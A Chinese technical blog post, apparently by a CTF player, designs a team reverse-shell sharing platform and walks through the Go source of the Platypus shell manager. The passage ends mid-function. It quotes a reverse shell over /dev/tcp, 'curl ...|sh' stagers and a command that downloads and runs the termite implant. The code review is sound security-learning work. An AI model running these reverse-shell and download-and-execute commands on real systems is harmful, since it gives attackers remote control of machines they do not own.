前言:为什么需要一个 shell 管理平台

  近几年的 CTF 竞赛,pentest 赛制逐渐常见了。渗透测试工作的团队协作中,我们经常面临 shell 管理的问题:

  • Alice 反弹了一个 shell,想把这个 shell 给 Bob 用
  • 靶机上没有 curl 等工具,传文件比较麻烦
  • 有些 shell 不稳定,挂了要重新弹

  这里很多事情可以用 metasploit 框架解决:先弹一个朴素的 shell 到 linux/x86/shell/reverse_tcp,然后再使用 post/multi/manage/shell_to_meterpreter 将之升级为「全功能」的 meterpreter shell。接下来便可以使用 meterpreter 的文件上传、自动路由等功能了。

  然而,metasploit 并不能解决全部问题。首先,它缺乏团队协作功能,如果队友需要一个 shell,我们只能去靶机上弹一个新的 shell 给队友;另外,线下竞赛,不一定每个队员都有 pentest 经验,因此不能指望人人都会 metasploit。我们需要一个简便的工具,把自己的 shell 分享给队友们。

  总结一下我们的需求:

  • 我们需要比较稳定的 shell 连接。现实世界中,第一个 nc shell 常常是不稳定的。譬如,一个 web 应用有命令注入漏洞,我们用 nc 反弹一个 shell 出来,60 秒钟之后,它可能就因为超时被服务器自动关闭了。
  • 我们需要一些高级功能。这些功能包括:在靶机没有 wget、curl 时,也能便捷地上传文件;提供一个 socks5 代理,使我们能访问那个靶机所在的网段;把靶机所在的内网的某个端口转发出来,例如把内网办公机的 3389 端口转发到服务器的 13389 端口。
  • 我们需要与队友分享 shell。这是设计 shell 管理平台的核心动机。最理想情况下,队友可以在 web 界面中打开一个新的 shell,并如同终端一样使用。
  • 只考虑 Linux x64 靶机,靶机可能是虚拟机或 Docker 容器。最坏情况下,靶机是 alpine 容器,弹回的 shell 不是 bash 而是 dash。另外,内网中的靶机可能无法直接连接 shell 管理平台服务器。

初步思考

  作为思维训练,我们先抛开那些开源的 shell 管理器,设想一下这个系统该如何设计。

  第一个 shell 一定是通过 nc 弹出来的。它就是一个简单的 bash,我们可以向那个 TCP 连接中输入一些东西,它会交给 bash 执行,并把 stdout 和 stderr 返回给我们。这个连接是不稳定的,随时可能断掉。

💡
弹简单 shell 不一定要用 nc,也可以用 /dev/tcp、用 Python 等。为行文方便,以下把这些简单 shell 统称为 nc shell。

  我们能不能与队友分享这样的 shell?理论上可以,因为我们可以在这个 shell 里面输入指令,再弹几个 shell 供队友使用。这个 shell 本身是不稳定的,那没关系,我们只需要让新弹的 shell 成为孤儿进程。

💡
bash 退出后,会给它的子进程发送 SIGHUP,尝试结束这些子进程。我们可以使用 nohup 指令来启动子进程,让这些子进程忽略 SIGHUP 信号,从而在父进程退出后仍然继续执行。

  虽然这样的 shell 也可以拿去分享给队友,但我们该如何在它上面实现各种高级功能呢?对面只是个 dash,我们连高效地发送文件都很难做到,更不用说端口转发等功能了。因此,我们需要一个「全功能」的 shell。也就是说,如同 metasploit 一样,先利用简单的 nc shell 上传 meterpreter payload,再执行这个 payload,获得 meterpreter shell。

  因此,我们就有了初步的设计思路:nc shell 只作为一个 stager 使用,它的任务就是在靶机上启动高级 shell。至于端口转发等功能,就由高级 shell 来实现。

  现在来讨论如何分享 shell。我们的目标是,队友们能在平台上启动许多「在线终端」,用浏览器与之交互,而这些终端互相独立。一个很直观的思路是:每当用户想创建一个在线终端,高级 shell 就启动一个 bash 进程,并把用户输入转发给这个 bash 进程、将其输出转发给用户。结构如图所示:

  这个模型大致是可行的,技术上有几个重点:

  • 终端的管理。需要把 IO 数据分流到正确的终端,且要妥善处理终端退出、用户退出的情况。
  • shell 管理服务器与高级 shell 的通讯。这条信道应当能承载控制指令(例如「打开新的终端」)和用户数据(队员与 bash 的通讯)。

  现在,我们已经可以分享 shell 了,那么高级功能该如何实现?最核心的问题在于,这些功能是应该集成进高级 shell 内部,还是作为独立的插件程序运行。我们应当注意到,渗透测试的环境是十分复杂的,在设计平台时,我们很难帮用户考虑到所有场景。从扩展性角度来说,最好每个高级功能都是可插拔的。例如,假设我们想搭建代理服务,那就上传一个 glider 上去;假如想转发端口,就运行一个 frp。这些过程可以自动化完成,用户只需点一下按钮即可,剩余的事务(上传程序、配置、启动)由高级 shell 代劳。这样,我们无需往高级 shell 中添加太多代码,只需要为每个高级功能写一个适配器。

  以上,我们设计了一个 shell 管理平台。假如现在有闲情逸致去实现这个框架,可以预料到最消耗精力的几个部分会是:

  • 通讯协议设计和实现。高级 shell 与服务器之间的通讯非常频繁,需要设计一个加密的、高吞吐率的协议,以支持指令和用户数据的传输。
  • stager。假定靶机上面没有 curl 和 wget,我们应该如何下载高级 shell 程序?有几种方案可以考虑:利用 /dev/tcp 下载;多次执行 echo xxxx >> /tmp/payload 来拼接程序文件;先传输一个非常小的下载器,再由下载器来下载程序。这些方案各有优劣。
  • 高级 shell 程序的功能。尽管我们把端口转发、代理等任务尽可能地解耦了,但它们都需要上传大文件,所以我们应当在高级 shell 中实现大文件上传功能。此外,高级 shell 要负责管理自己的终端,维护它们的状态信息;如果高级 shell 与服务器之间的连接断开,应当自动重连。

Platypus 项目

  我们外出比赛时,主要使用 Platypus 平台来分享 shell。项目地址:

GitHub - WangYihang/Platypus: :hammer: A modern multiple reverse shell sessions manager written in go
:hammer: A modern multiple reverse shell sessions manager written in go - GitHub - WangYihang/Platypus: :hammer: A modern multiple reverse shell sessions manager written in go

  笔者本周学习了 Golang,所以接下来阅读一遍 Platypus 源码,学习学习。

  Platypus 提供的高级功能有上传下载、交互式终端(可以使用 vim)、端口转发等。它提供了命令行模式和 web ui,其中高级功能只能在命令行中使用。整个项目的 Golang 代码大约 8322 行,结构如下:

  Platypus 有 nc shell 和高级 shell,后者被命名为「termite」。

平台启动流程

  当我们运行 ./Platypus 时,执行的是 cmd/platypus/main.go 中的代码。主要内容如下:

func main() {
	// ... 
	// 获取配置文件
	var config config.Config
	content, _ := ioutil.ReadFile(configFilename)
	err := yaml.Unmarshal(content, &config)
	if err != nil {
		log.Error("Read config file failed, please check syntax of file `%s`, or just delete the `%s` to force regenerate config file", configFilename, configFilename)
		return
	}
    
	// 创建数据库
	if !fs.FileExists(config.RESTful.DBFile) {
		Models.CreateDb(config.RESTful.DBFile)
	} else {
		Models.OpenDb(config.RESTful.DBFile)
	}

	Conf.RestfulConf = config.RESTful

	log.Success("Platypus %s is starting...", update.Version)

	// Create context
	context.CreateContext()
	context.Ctx.Config = &config

	// 检查更新
	if config.Update {
		update.ConfirmAndSelfUpdate()
	}

	// 启动 distributor server(很简单的服务器,返回 termite 二进制程序)
	rh := config.Distributor.Host
	rp := config.Distributor.Port
	distributor := context.CreateDistributorServer(rh, rp, config.Distributor.Url)

	go distributor.Run(fmt.Sprintf("%s:%d", rh, rp))

	// 启动 HTTP 服务
	if config.RESTful.Enable {
		rh := config.RESTful.Host
		rp := config.RESTful.Port
		rest := context.CreateRESTfulAPIServer()
		go rest.Run(fmt.Sprintf("%s:%d", rh, rp))
		log.Success("Web FrontEnd started at: http://%s:%d/", rh, rp)
		log.Success("You can use Web FrontEnd to manager all your clients with any web browser.")
		log.Success("RESTful API EndPoint at: http://%s:%d/api/", rh, rp)
		log.Success("You can use PythonSDK to manager all your clients automatically.")
		context.Ctx.RESTful = rest
	}

	// 监听 TCP
	for _, s := range config.Servers {
		server := context.CreateTCPServer(s.Host, uint16(s.Port), s.HashFormat, s.Encrypted, s.DisableHistory, s.PublicIP, s.ShellPath)
		if server != nil {
			// avoid terminal being disrupted
			time.Sleep(0x100 * time.Millisecond)
			go (*server).Run()
		}
	}

	if config.OpenBrowser {
		browser.OpenURL(fmt.Sprintf("http://%s:%d/", config.RESTful.Host, config.RESTful.Port))
	}

	// 进入命令行
	dispatcher.REPL()
}

  可见一共干了四件事:

  • 读取配置文件
  • 启动 distributor server
  • 启动 Web UI 和 API
  • 启动 TCP 监听器

  先来看 distributor server。这是一个简单的 gin 服务:

type Distributor struct {
	Host       string            `json:"host"`
	Port       uint16            `json:"port"`
	Interfaces []string          `json:"interfaces"`
	Route      map[string]string `json:"route"`
	Url        string            `json:"url"`
}

func CreateDistributorServer(host string, port uint16, url string) *gin.Engine {
	gin.SetMode(gin.ReleaseMode)
	gin.DefaultWriter = ioutil.Discard
	endpoint := gin.Default()

	// 把 distributor 记录进 context
	Ctx.Distributor = &Distributor{
		Host:       host,	// 默认 0.0.0.0
		Port:       port,	// 默认 13339
		Interfaces: network.GatherInterfacesList(host),
		Route:      map[string]string{},
		Url:        url,
	}

	endpoint.GET("/termite/:target", func(c *gin.Context) {
		if !paramsExistOrAbort(c, []string{"target"}) {
			return
		}
		target := c.Param("target")

		if target == "" {
			log.Error("Invalid connect back addr: %v", target)
			panicRESTfully(c, "Invalid connect back addr")
			return
		}

		// 创建临时目录
		dir, filename, err := compiler.GenerateDirFilename()
		if err != nil {
			log.Error(fmt.Sprint(err))
			panicRESTfully(c, err.Error())
			return
		}
		defer os.RemoveAll(dir)

		// 生成 termite 可执行程序,回连地址为 target
		err = compiler.BuildTermiteFromPrebuildAssets(filename, target)
		if err != nil {
			log.Error(fmt.Sprint(err))
			panicRESTfully(c, err.Error())
			return
		}

		// 用 upx 压缩编译产物
		if !compiler.Compress(filename) {
			log.Error("Can not compress termite.go")
		}

		c.File(filename)
	})
	return endpoint
}

  为何这里需要现场构造 termite 程序?看一眼 BuildTermiteFromPrebuildAssets 代码:

func BuildTermiteFromPrebuildAssets(targetFilename string, targetAddress string) error {
	// Step 1: Generating Termite from Assets
	assetFilepath := "build/termite/termite_linux_amd64"
	content, err := assets.Asset(assetFilepath)
	if err != nil {
		log.Error("Failed to read asset file: %s", assetFilepath)
		return err
	}

	// Step 2: Generating the placeholder
	placeHolder := "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xxxxx"
	replacement := make([]byte, len(placeHolder))

	for i := 0; i < len(placeHolder); i++ {
		replacement[i] = 0x20
	}

	for i := 0; i < len(targetAddress); i++ {
		replacement[i] = targetAddress[i]
	}

	// Step 3: Replacing the placeholder
	log.Success("Replacing `%s` to: `%s`", placeHolder, replacement)
	content = bytes.Replace(content, []byte(placeHolder), replacement, 1)

	// Step 4: Create binary file
	err = ioutil.WriteFile(targetFilename, content, 0755)
	if err != nil {
		log.Error("Failed to write file: %s", targetFilename)
		return err
	}
	return nil
}

  原来,服务器的地址被硬编码进了 termite 程序。Platypus 自带了一个预先编译的 termite 程序,里面的服务器地址字段是一长串 x;distributor 会把原料里的这些 x 替换成正确的地址,形成正确的 termite 可执行文件。

💡
这似乎是一个很 hack 的实现。termite 也是 Golang 写的,这样做需要假设「代码中的 xxxxxx 字符串也会原样出现在编译结果中」。
应该存在更好的实现,例如用 argv 提供回连地址,或把回连地址写进 /tmp 中。

  接下来,关注 Web 平台相关的逻辑。

API 服务

  Platypus Web 是前后端分离的,用户界面采用 react 编写,在线终端则采用了开源的 ttyd;后端采用 gin。我们对前端没兴趣,直接来看 API。

  CreateRESTfulAPIServer 函数非常长,我们分段看:

	gin.SetMode(gin.ReleaseMode)
	gin.DefaultWriter = ioutil.Discard
	endpoint := gin.Default()

	endpoint.Use(cors.New(cors.Config{
		AllowOrigins:     []string{"*"},
		AllowMethods:     []string{"GET", "POST", "DELETE", "PUT", "PATCH"},
		AllowHeaders:     []string{"Origin"},
		ExposeHeaders:    []string{"Content-Length"},
		AllowCredentials: true,
		MaxAge:           12 * time.Hour,
	}))

	sR := endpoint.Use(Models.Session("golang-tech-stack"))
	sR.GET("/captcha", Controller.CreateCaptcha)
	sR.GET("/login", Controller.LoginGet)
	sR.POST("/login", Controller.LoginPost)
	sR.GET("/register", Controller.RegisterGet)
	sR.POST("/register", Controller.RegisterPost)
	endpoint.GET("/reset", Controller.ResetPasswordGet)
	endpoint.POST("/reset", Controller.ResetPasswordPost)
	// Static files
	endpoint.Use(static.Serve("/", fs.BinaryFileSystem("./web/frontend/build")))
	// WebSocket TTYd
	endpoint.Use(static.Serve("/shell/", fs.BinaryFileSystem("./web/ttyd/dist")))

  这一段是注册了几个 handler,主要用于用户登录。

	// Notify client online event
	notifyWebSocket := melody.New()
	endpoint.GET("/notify", func(c *gin.Context) {
		notifyWebSocket.HandleRequest(c.Writer, c.Request)
	})
	notifyWebSocket.HandleConnect(func(s *melody.Session) {
		log.Info("Notify client conencted from: %s", s.Request.RemoteAddr)
	})

	notifyWebSocket.HandleMessage(func(s *melody.Session, msg []byte) {
		// Nothing to do
	})

	notifyWebSocket.HandleDisconnect(func(s *melody.Session) {
		log.Info("Notify client disconencted from: %s", s.Request.RemoteAddr)
	})
	Ctx.NotifyWebSocket = notifyWebSocket

  这段是用 websocket 向用户提供「主机已上线」「主机已下线」通知。

	// Websocket
	ttyWebSocket := melody.New()
	ttyWebSocket.Upgrader.Subprotocols = []string{"tty"}
	endpoint.GET("/ws/:hash", func(c *gin.Context) {
		if !paramsExistOrAbort(c, []string{"hash"}) {
			return
		}
		client := Ctx.FindTCPClientByHash(c.Param("hash"))
		termiteClient := Ctx.FindTermiteClientByHash(c.Param("hash"))
		if client == nil && termiteClient == nil {
			panicRESTfully(c, "client is not found")
			return
		}
		if client != nil {
			log.Success("Trying to poping up websocket shell for: %s", client.OnelineDesc())
		}
		if termiteClient != nil {
			log.Success("Trying to poping up encrypted websocket shell for: %s", termiteClient.OnelineDesc())
		}
		ttyWebSocket.HandleRequest(c.Writer, c.Request)
	})

  这里是从 gin 那里截获 /ws/:hash 请求,发给 melody 处理。这个接口是虚拟终端相关的。从上面的代码可以发现,尽管 nc shell 和 termite 有许多不同,它们的 websocket 入口都是一样的。那就得在以后的逻辑中区分了。

  这个 websocket 在 melody 那里的 connect 处理逻辑如下:

	ttyWebSocket.HandleConnect(func(s *melody.Session) {
		// Get client hash
		hash := strings.Split(s.Request.URL.Path, "/")[2]

		// Handle TCPClient
		current := Ctx.FindTCPClientByHash(hash)
		if current != nil {
			s.Set("client", current)
			// current 是 nc shell
            
			// 加锁,只允许一个队员访问 nc shell 在线终端
			current.GetInteractingLock().Lock()
			current.SetInteractive(true)

			// Incase somebody is interacting via cli
			current.EstablishPTY()
            
			// 往在线终端里面写一点怪东西
            
			// SET_WINDOW_TITLE '1'
			s.WriteBinary([]byte("1" + current.GetShellPath() + " (ubuntu)"))
			// SET_PREFERENCES '2'
			s.WriteBinary([]byte("2" + "{ }"))

			// OUTPUT '0'
            
			// 往 nc shell 里面写个「\n」
			current.Write([]byte("\n"))
            
			go func(s *melody.Session) {
				for current != nil && !s.IsClosed() {
					// 循环:从 nc shell 那里读取,把结果显示到在线终端
					current.GetConn().SetReadDeadline(time.Time{})
					msg := make([]byte, 0x100)
					n, err := current.ReadConnLock(msg)
					if err != nil {
						log.Error("Read from socket failed: %s", err)
						return
					}
					s.WriteBinary([]byte("0" + string(msg[0:n])))
				}
			}(s)
			return
		}

		// Handle TermiteClient
		currentTermite := Ctx.FindTermiteClientByHash(hash)
		if currentTermite != nil {
        	// currentTermite 是 termite shell
            
			log.Info("Encrypted websocket connected: %s", currentTermite.OnelineDesc())
            
			// Start shell process
			s.Set("termiteClient", currentTermite)

			// SET_WINDOW_TITLE '1'
			s.WriteBinary([]byte("1" + currentTermite.GetShellPath() + " (ubuntu)"))
			// SET_PREFERENCES '2'
			s.WriteBinary([]byte("2" + "{ }"))
			// OUTPUT '0'
            
            
			// termite shell 是可以分享的,用 key 作为此在线终端的标识符
			key := str.RandomString(0x10)
			s.Set("key", key)

			// 要求 termite 建立一个新进程
			currentTermite.RequestStartProcess(currentTermite.GetShellPath(), 0, 0, key)

			// Create Process Object
			process := Process{
				Pid:           -2,
				WindowColumns: 0,
				WindowRows:    0,
				State:         startRequested,
				WebSocket:     s,
			}
			currentTermite.AddProcess(key, &process)
			return
		}
	})

  可以看到,nc shell 和 termite 实例的标识符都是 hash。由于 nc shell 不可分享,故同一时刻只能有一条 websocket 占有 nc shell。至于 termite,它是可以分享的,在 websocket 建立时,服务端会要求 termite 新建一个进程运行 shell,用于给这个 websocket 提供服务,标识符是随机生成的 key

  上面的代码就是在线终端 websocket 的创建过程。而 shell 到浏览器方向的数据,在上面的代码中启动了 goroutine 来转发。接下来,关注浏览器到 shell 方向的数据:

	// User input from websocket -> process
	ttyWebSocket.HandleMessageBinary(func(s *melody.Session, msg []byte) {
		// Handle TCPClient
		value, exists := s.Get("client")
		if exists {
			// 这是 nc shell 
			current := value.(*TCPClient)
			if current.GetInteractive() {
				opcode := msg[0]
				body := msg[1:]
				switch opcode {
				case '0': // INPUT '0'
					// 往 shell 那边写数据
					current.Write(body)
				case '1': // RESIZE_TERMINAL '1'
					// Raw reverse shell does not support resize terminal size when
					// in interactive foreground program, eg: vim
					// var ws WindowSize
					// json.Unmarshal(body, &ws)
					// current.SetWindowSize(&ws)
				case '2': // PAUSE '2'
					// TODO: Pause, support for zmodem
				case '3': // RESUME '3'
					// TODO: Pause, support for zmodem
				case '{': // JSON_DATA '{'
					// Raw reverse shell does not support resize terminal size when
					// in interactive foreground program, eg: vim
					// var ws WindowSize
					// json.Unmarshal([]byte("{"+string(body)), &ws)
					// current.SetWindowSize(&ws)
				default:
					fmt.Println("Invalid message: ", string(msg))
				}
			}
			return
		}
		// 总结:对于 nc shell,只提供数据转发功能

		// 下面是 termite 相关
		// Handle TermiteClient
		if termiteValue, exists := s.Get("termiteClient"); exists {
			currentTermite := termiteValue.(*TermiteClient)
			if key, exists := s.Get("key"); exists {
				opcode := msg[0]
				body := msg[1:]
				switch opcode {
				case '0': // INPUT '0'
					// 数据传输
					err := currentTermite.Send(message.Message{
						Type: message.STDIO,
						Body: message.BodyStdio{
							Key:  key.(string),
							Data: body,
						},
					})

					if err != nil {
						// Network
						log.Error("Network error: %s", err)
						return
					}
				case '1': // RESIZE_TERMINAL '1'
					// 更改终端尺寸
					var ws WindowSize
					json.Unmarshal(body, &ws)

					err := currentTermite.Send(message.Message{
						Type: message.WINDOW_SIZE,
						Body: message.BodyWindowSize{
							Key:     key.(string),
							Columns: ws.Columns,
							Rows:    ws.Rows,
						},
					})

					if err != nil {
						// Network
						log.Error("Network error: %s", err)
						return
					}
				case '2': // PAUSE '2'
					// TODO: Pause, support for zmodem
				case '3': // RESUME '3'
					// TODO: Pause, support for zmodem
				case '{': // JSON_DATA '{'
					// 似乎与 case 1 重复
					var ws WindowSize
					json.Unmarshal([]byte(msg), &ws)

					err := currentTermite.Send(message.Message{
						Type: message.WINDOW_SIZE,
						Body: message.BodyWindowSize{
							Key:     key.(string),
							Columns: ws.Columns,
							Rows:    ws.Rows,
						},
					})

					if err != nil {
						// Network
						log.Error("Network error: %s", err)
						return
					}
				default:
					fmt.Println("Invalid message: ", string(msg))
				}
			} else {
				log.Error("Process has not been started")
			}
		}
	})

  这里主要就是把浏览器送来的用户输入转发给 shell。其中,nc shell 只支持数据转发,termite 还能支持更改终端尺寸。它们都暂不支持 zmodem 协议。

  websocket 断开的处理逻辑如下:

	ttyWebSocket.HandleDisconnect(func(s *melody.Session) {
		// Handle TCPClient
		value, exists := s.Get("client")
		if exists {
			current := value.(*TCPClient)
			log.Success("Closing websocket shell for: %s", current.OnelineDesc())
			current.SetInteractive(false)
			current.GetInteractingLock().Unlock()
			return
		}

		// Handle TermiteClient
		termiteValue, exists := s.Get("termiteClient")
		if exists {
			currentTermite := termiteValue.(*TermiteClient)
			if key, exists := s.Get("key"); exists {
				currentTermite.RequestTerminate(key.(string))
			} else {
				log.Error("No such key: %d", key)
				return
			}
		}
	})

  websocket 断开时,nc shell 要释放锁;termite 要通知靶机销毁 shell 进程。以上,我们分析完了在线终端的连接、传输和断开。

💡
这部分代码质量堪忧。由于 nc shell 和 termite 都使用 /ws/:hash 这个 API 端点,故不得不在 websocket 的所有处理逻辑中对两类 shell 分类讨论。
更好的设计:要么两者使用不同 API 入口,要么两者都实现 on_connect, on_browser_message, on_disconnect 这三个函数,melody 只管调用这三个函数,不关心内部。

  CreateRESTfulAPIServer 代码的后半段是 restful API,主要是提供一些信息查询功能,无需关注。

  以上就是 Platypus 与浏览器之间的通讯。接下来,我们关注 Platypus 与 shell 间的通讯,这包括两部分:TCP 监听器以及 termite。

TCP 监听器

  在 platypus/main.go 的末尾,Platypus 会调用 context.CreateTCPServer() 启动配置文件中指定的 TCP 监听器。先看一眼默认配置文件:

servers: 
  - host: "0.0.0.0"
    port: 13337
    # Platypus is able to use several properties as unique identifier (primirary key) of a single client.
    # All available properties are listed below:
    # `%i` IP
    # `%u` Username
    # `%m` MAC address
    # `%o` Operating System
    # `%t` Income TimeStamp
    hashFormat: "%i %u %m %o"
    encrypted: true
    disable_history: true
    public_ip: ""
    shell_path: "/bin/bash"
  - host: "0.0.0.0"
    port: 13338
    # Using TimeStamp allows us to track all connections from the same IP / Username / OS and MAC.
    hashFormat: "%i %u %m %o %t"
    disable_history: true
    public_ip: ""
    shell_path: "/bin/bash"

  可以注意到,nc shell 与 termite 使用不同的 TCP 监听端口,配置文件中通过 encrypted 字段区分这两类监听器。下面来看 CreateTCPServer 代码:

func CreateTCPServer(host string, port uint16, hashFormat string, encrypted bool, disableHistory bool, PublicIP string, ShellPath string) *TCPServer {
	service := fmt.Sprintf("%s:%d", host, port)

	if _, ok := Ctx.Servers[hash.MD5(service)]; ok {
		log.Error("The server (%s) already exists", service)
		return nil
	}

	// Default hashFormat
	if hashFormat == "" {
		hashFormat = "%i %u %m %o %t"
	}

	// 创建 TCPServer 实例
	tcpServer := &TCPServer{
		Host:           host,
		Port:           port,
		GroupDispatch:  true,
		Clients:        make(map[string](*TCPClient)),
		TermiteClients: make(map[string](*TermiteClient)),
		Interfaces:     []string{},
		TimeStamp:      time.Now(),
		hashFormat:     hashFormat,
		Hash:           hash.MD5(fmt.Sprintf("%s:%d", host, port)),
		stopped:        make(chan struct{}, 1),
		Encrypted:      encrypted,
		DisableHistory: disableHistory,
		PublicIP:       PublicIP,
		ShellPath:      ShellPath,
	}

	Ctx.Servers[hash.MD5(service)] = tcpServer

	// Gather listening interfaces
	tcpServer.Interfaces = network.GatherInterfacesList(tcpServer.Host)

	// 如果是 termite 监听器,则对每个网卡生成不同的 routeKey

	// Support for distributor for termite
	if encrypted {
		for _, ifaddr := range tcpServer.Interfaces {
			routeKey := str.RandomString(0x08)
			Ctx.Distributor.Route[fmt.Sprintf("%s:%d", ifaddr, port)] = routeKey
		}
	}

	// 如果 IP 未指定,则自动获取

	// Fetch real public IP address if not specified
	if tcpServer.PublicIP == "" {
		log.Info("Detecting Public IP address of the interface...")
		ip, err := network.GetPublicIP()
		if err != nil {
			log.Error("Public IP Detection failed: %s", err.Error())
		}
		tcpServer.PublicIP = ip
		Conf.RestfulConf.Domain = ip
		log.Success("Public IP Detected: %s", tcpServer.PublicIP)
	} else {
		log.Info("Public IP (%s) is set in config file.", tcpServer.PublicIP)
	}
    
	// 如果未指定 ShellPath,则默认为 /bin/bash

	// Use /bin/bash if no ShellPath was specified
	if tcpServer.ShellPath == "" {
		log.Info("No ShellPath was specified, using /bin/bash...")
		tcpServer.ShellPath = "/bin/bash"
	} else {
		log.Info("ShellPath (%s) is set in config file.", tcpServer.ShellPath)
	}

	// Try to check
	log.Info("Trying to create server on: %s", service)
	tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
	if err != nil {
		log.Error("Resolve TCP address failed: %s", err)
		Ctx.DeleteServer(tcpServer)
		return nil
	}

	// 尝试监听端口,观察是否可用,然后立即关闭

	listener, err := net.ListenTCP("tcp", tcpAddr)
	if err != nil {
		log.Error("Listen failed: %s", err)
		Ctx.DeleteServer(tcpServer)
		return nil
	} else {
		listener.Close()
	}

	return tcpServer
}

  上面的代码只是构造了 TCPServer 的结构,并没有开始干活。启动监听器的逻辑如下:

func (s *TCPServer) Run() {
	service := fmt.Sprintf("%s:%d", s.Host, s.Port)
	tcpAddr, err := net.ResolveTCPAddr("tcp4", service)

	var listener net.Listener
	if s.Encrypted {
		// 对于 termite 监听器的处理
        
		// 生成 TLS 密钥
		certBuilder := new(strings.Builder)
		keyBuilder := new(strings.Builder)
		crypto.Generate(certBuilder, keyBuilder)

		pemContent := []byte(fmt.Sprint(certBuilder))
		keyContent := []byte(fmt.Sprint(keyBuilder))

		cert, err := tls.X509KeyPair(pemContent, keyContent)

		if err != nil {
			log.Error("Encrypted server failed to loadkeys: %s", err)
			Ctx.DeleteServer(s)
			return
		}
		config := tls.Config{Certificates: []tls.Certificate{cert}}
		config.Rand = rand.Reader

		// 开始监听 TLS 端口
		listener, _ = tls.Listen("tcp", service, &config)
	} else {
		// 对于普通的 TCP 反弹 shell,只需要直接监听 TCP 端口
		listener, err = net.ListenTCP("tcp", tcpAddr)
	}

	if err != nil {
		log.Error("Listen failed: %s", err)
		Ctx.DeleteServer(s)
		return
	}
	log.Info(fmt.Sprintf("Server running at: %s", s.FullDesc()))

	// 对于 termite,在控制台打印跑在各个网卡上的 distrubutor 的 URL
	if s.Encrypted {
		for _, ifname := range s.Interfaces {
			listenerHostPort := fmt.Sprintf("%s:%d", ifname, s.Port)
			log.Warn("Connect back to: %s", listenerHostPort)
			for _, ifaddr := range Ctx.Distributor.Interfaces {
				distributorHostPort := fmt.Sprintf("%s:%d", ifaddr, Ctx.Distributor.Port)
				filename := fmt.Sprintf("/tmp/.%s", str.RandomString(0x08))
				command := "curl -fsSL http://" + distributorHostPort + "/termite/" + listenerHostPort + " -o " + filename + " && chmod +x " + filename + " && " + filename
				log.Warn("\t`%s`", command)
			}
		}
	} else {
		for _, ifname := range s.Interfaces {
			log.Warn("\t`curl http://%s:%d/|sh`", ifname, s.Port)
		}
	}
 
	for {
		select {
		case <-s.stopped:
			listener.Close()
			return
		default:
			var err error
			conn, err := listener.Accept()
			if err != nil {
				continue
			}
			go s.Handle(conn)
		}
	}
}

  上面的逻辑就是监听 TCP 端口。如果是 termite,则使用 TLS 通讯;如果是 nc shell,则直接利用 TCP 通讯。

💡
最后这个 for 写得有问题。函数 listener.Accept() 是阻塞的,如果一直没有新的连接进来,那么就算 s.stopped 收到信号,这个 listener 也不会关闭。

  TCP 监听器收到的连接,会交给 s.Handle() 处理。跟进:

func (s *TCPServer) Handle(conn net.Conn) {
	if s.Encrypted {
		// 新的 termite 连入
        
		client := CreateTermiteClient(conn, s, s.DisableHistory)
		
        // 收集靶机信息
		log.Info("Gathering information from client...")
		if client.GatherClientInfo(s.hashFormat) {
			log.Info("A new encrypted termite (%s) income connection from %s", client.Version, client.conn.RemoteAddr())
			s.AddTermiteClient(client)
		} else {
			log.Info("Failed to check encrypted income connection from %s", client.conn.RemoteAddr())
			client.Close()
		}
	} else {
		// 新的 nc shell 连入
        client := CreateTCPClient(conn, s)
		
		log.Info("A new income connection from %s", client.conn.RemoteAddr())

		// Reverse shell as a service
		buffer := make([]byte, 4)
		client.conn.SetReadDeadline(time.Now().Add(time.Second * 3))
		client.readLock.Lock()
		n, err := client.conn.Read(buffer)
		client.readLock.Unlock()
		client.conn.SetReadDeadline(time.Time{})
		if err != nil {
			if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
				log.Debug("Not requesting for service")
			} else {
				client.Close()
			}
		}
        
		// 如果发来的前 4 个字节是 `GET `,则返回一段指令,执行该指令可以弹 shell
        
		if string(buffer[:n]) == "GET " {
			requestURI := client.ReadUntilClean(" ")
			// Read HTTP Version
			client.ReadUntilClean("\r\n")
			httpHost := fmt.Sprintf("%s:%d", s.Host, s.Port)
			for {
				var line = client.ReadUntilClean("\r\n")
				// End of headers
				if line == "" {
					log.Debug("All header read")
					break
				}
				delimiter := ":"
				index := strings.Index(line, delimiter)
				headerKey := line[:index]
				headerValue := strings.Trim(line[index+len(delimiter):], " ")
				if headerKey == "Host" {
					httpHost = headerValue
				}
			}
			command := fmt.Sprintf("%s\n", raas.URI2Command(requestURI, httpHost))
			client.Write([]byte("HTTP/1.0 200 OK\r\n"))
			client.Write([]byte(fmt.Sprintf("Content-Length: %d\r\n", len(command))))
			client.Write([]byte("\r\n"))
			client.Write([]byte(command))
			client.Close()
			log.Info("A RaaS request from %s served", client.conn.RemoteAddr().String())
		} else {
			// 前 4 个字节不是 `GET `,则认为是弹来的 shell
			s.AddTCPClient(client)
		}
	}
}

  有必要解释一下上面代码对 nc shell 的处理。实际上,它把同一个端口复用了:如果客户端发来的前 4 字节是 "GET ",则假装自己是 HTTP 服务器,返回一串指令,执行这串指令就可以弹 shell。例如:

▲ 提示使用 curl [addr]|sh
▲ 返回的指令

  那么,假如我们有了一台机器的权限,我们可以发送指令 curl xxx:13338|sh,于是就会获取到下面的命令:

/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/xxx/13338 0>&1' >/dev/null &

  也就是说,13338 端口既用来接受反弹 shell,也用来提供反弹命令。这个设计被文档称为「Reverse Shell as a Serivce」。

💡
这个设计相当荒唐,把没有关系的两件事强行耦合在了一起。作者声称该设计可以让用户无需记忆各种语言的反弹 shell 指令,但这显然站不住脚:第一,如果想为用户提供词典,大可以在 Web UI 上提供;第二,不应该假设靶机有 curl;第三,如果回弹 shell 返回的前几个字节不幸恰好是 "GET ",那么 Platypus 将无法接受这个 shell。

  在这个 handler 中,对于 termite shell,先调用 GatherClientInfo() ,再调用 s.AddTermiteClient();对于 nc shell,调用 s.AddTCPClient()。我们先看 nc shell 的相关逻辑:

func (s *TCPServer) AddTCPClient(client *TCPClient) {
	client.GroupDispatch = s.GroupDispatch
	client.GatherClientInfo(s.hashFormat)
	if _, exists := s.Clients[client.Hash]; exists {
